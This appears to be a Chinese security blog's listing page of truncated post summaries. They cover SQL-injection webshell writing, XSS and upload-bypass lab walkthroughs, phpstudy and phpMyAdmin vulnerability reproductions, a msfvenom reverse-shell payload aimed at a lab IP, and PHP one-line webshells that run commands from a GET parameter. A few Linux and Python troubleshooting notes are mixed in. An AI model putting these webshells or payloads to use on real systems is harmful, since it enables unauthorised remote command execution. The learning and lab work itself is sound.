摘要：
简单记一下看见的五种写有sql注入的情况下如何写shell 原文链接：https://manning23.github.io/2019/07/23/MYSQL%E5%AD%98%E5%9C%A8%E6%B3%A8%E5%85%A5%E7%82%B9%EF%BC%8C%E5%86%99WebShell 阅读全文
摘要：
level 1 查看第一关的源码，发现get方法直接输入的内容，可以直接构造payload payload：<script>alert(/xss/)</script> level 2 第二关和第一关有点不一样的地方在于传入的字符串多了一个单引号，应该先闭合单引号。 payload："><script 阅读全文
摘要：
pass-01 尝试上传一个php，发现提示不行。 前端js拦截了，先将php文件后缀改为允许的格式，比如jpg，burp抓包改一下就好了。后缀改为php成功上传。 访问发现上传成功。 pass-02 观察第二关的源码，发现判断content-type。 依旧burp抓包，修改content-typ 阅读全文
摘要：
ps：当时出的时候就复现了，但是由于种种原因（当初粗心，没好好留意）没有成功，今天终于成功了 目前已知受影响的phpstudy版本 phpstudy 2016版php-5.4 phpstudy 2018版php-5.2.17 phpstudy 2018版php-5.4.45 这里用phpstudy 阅读全文
摘要：
最近想复现一些漏洞并分析，打算从phpmyadmin开始。 先搭建环境 phpmyadmin版本：4.0.3 php版本：5.2.17 利用条件： 登陆后台（个人感觉鸡肋），需要截断 上级目录下放一个test.txt，内容是<? phpinfo(); ?> poc：http://localhost/ 阅读全文
摘要：
kali ： 192.168.3.136 windows server 2012 ： 192.168.3.129 1、生成一个exe远控 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.136 LPORT=12345 -f ex 阅读全文
摘要：
alias Linux alias命令用于设置指令的别名。 用户可利用alias，自定指令的别名。若仅输入alias，则可列出目前所有的别名设置。alias的效力仅及于该次登入的操作。若要每次登入是即自动设好别名，可在.profile或.cshrc中设定指令的别名。 alias[别名]=[指令名称] 阅读全文
摘要：
long long ago准备安装github时，输入 sudo apt-get install 后出现了如下的错误提示： E: 无法获得锁/var/lib/dpkg/lock - open (11: 资源暂时不可用)E: 无法锁定管理目录(/var/lib/dpkg/)，是否有其他进程正占用它？ 阅读全文
摘要：
新手入门，用来记一些笔记，大佬别喷。下面记录几个PHP里面可以执行系统命令的函数。 system() <?php $a = $_GET['cmd']; system($a); ?> exec() <?php $a = $_GET['cmd']; echo exec($a); ?> passthru( 阅读全文
摘要：
一、导入dns模块时一直出错，后来老哥提醒，python里一些模块名字不一样，dns模块的名字是dnspython,然后pip install dnspython成功 二、selenium无法打开火狐浏览器问题解决 今天第一次学习selenium这个库，在刚开始打开浏览器就踩坑，无法打开浏览器。 h 阅读全文